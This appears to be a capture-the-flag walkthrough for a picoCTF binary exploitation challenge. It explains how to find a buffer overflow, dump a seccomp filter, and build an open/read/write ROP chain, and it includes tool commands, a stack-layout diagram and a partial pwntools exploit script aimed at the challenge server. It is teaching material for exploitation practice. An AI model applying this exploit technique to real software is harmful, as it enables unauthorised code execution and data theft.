Description
Let's start from scratch. Buffer overflow with seccomp sandbox. nc connection.
Setup
Download the binary and connect to the server.
wget <url>/zero_to_herochmod +x zero_to_heronc <HOST> <PORT_FROM_INSTANCE>Solution
Walk me through it- Step 1Identify the vulnerability and seccomp filtersRun checksec on the binary. Look for a buffer overflow. Use seccomp-tools to dump the seccomp filter and see which syscalls are allowed. The seccomp sandbox restricts which syscalls your ROP chain can use.bash
checksec zero_to_herobashseccomp-tools dump ./zero_to_herobashghidra zero_to_hero &Learn more
Seccomp (Secure Computing) is a Linux kernel feature that filters system calls. A seccomp filter defines which syscalls a process is allowed to make. If a disallowed syscall is attempted, the process is killed. This prevents a simple execve('/bin/sh') shell even if you control RIP.
seccomp-tools dumpinstruments the process to capture and decode the BPF (Berkeley Packet Filter) rules that implement the seccomp policy, showing you exactly which syscalls are permitted. - Step 2Build a ROP chain respecting seccompIdentify allowed syscalls (often: read, write, open, exit - but not execve). Build a ROP chain to: open the flag file with open(), read the flag into a buffer with read(), and write it to stdout with write().bash
ROPgadget --binary zero_to_hero | grep 'pop rdi'bashropper -f zero_to_hero --search 'pop rdi'Learn more
x86-64 calling convention. The first six integer/pointer arguments go in
rdi, rsi, rdx, rcx, r8, r9; the syscall number goes inrax;syscalltraps to the kernel.open("flag.txt", 0): sys_open = 2, rdi=&"flag.txt", rsi=0 read(3, buf, 0x100): sys_read = 0, rdi=3, rsi=buf, rdx=0x100 write(1, buf, 0x100): sys_write = 1, rdi=1, rsi=buf, rdx=0x100Stack layout of the chain (each cell = 8 bytes;
retpops the top):rsp -> | pop rdi ; ret | set rdi = &"flag.txt" | &"flag.txt" (.bss) | | pop rsi ; ret | set rsi = 0 (O_RDONLY) | 0 | | pop rax ; ret | set rax = 2 (sys_open) | 2 | | syscall ; ret | open() -> rax = fd | pop rdi ; ret | set rdi = fd (assume 3) | 3 | | pop rsi ; ret | set rsi = buf | buf (.bss + 0x100)| | pop rdx ; pop r... | set rdx = 0x100 | 0x100 | | pop rax ; ret | set rax = 0 (sys_read) | 0 | | syscall ; ret | | ... write(1, buf, 0x100) ... |The string "flag.txt" is written into
.bssfirst via aread()stub or by reusing an existing string in the binary (strings vuln). Pick a fixed offset in.bssfor the read buffer so it does not collide with the string. - Step 3Exploit and read the flagWrite the pwntools exploit with the full ROP chain. Send the overflow payload to control RIP and execute the open-read-write chain to exfiltrate the flag.python
python3 << 'EOF' from pwn import * elf = ELF('./zero_to_hero') p = remote('<HOST>', <PORT_FROM_INSTANCE>) # Find ROP gadgets rop = ROP(elf) # Build: open('flag', 0) -> read(fd, buf, 100) -> write(1, buf, 100) # ... (fill in with actual gadgets and addresses) payload = b'A' * <OFFSET> payload += rop.chain() p.sendlineafter(b'> ', payload) p.interactive() EOFLearn more
Why ROP defeats NX. NX marks the stack/heap non-executable, so injected shellcode segfaults. ROP runs only existing executable code (
.text), so NX never triggers. Eachretpops the next gadget address from the attacker-controlled stack intorip, executing it; that gadget's ownretpops the address after it; and so on, threading control through the chain.Why seccomp matters here. Without seccomp you would just chain
execve("/bin/sh", 0, 0)(sys_execve = 59) and call it a day. The filter blocksexecve, so the chain instead synthesizes a shell-free flag read usingopen+read+write. Ifopenwere also blocked you would fall back toopenat; if all of those were blocked you would need a sigreturn-oriented chain (SROP) usingrt_sigreturnif it remains allowed.fd numbering tip. stdin/stdout/stderr are 0/1/2. The first
open()in the process returns 3, the second 4, etc. If the binary has not opened other files before your chain runs, hardcoding fd=3 works. If unsure, leak it: dup the result into rdi via amov rdi, raxgadget if available.
Flag
picoCTF{...}
Use a ROP chain with only seccomp-allowed syscalls (open/read/write) to read the flag file and print it to stdout.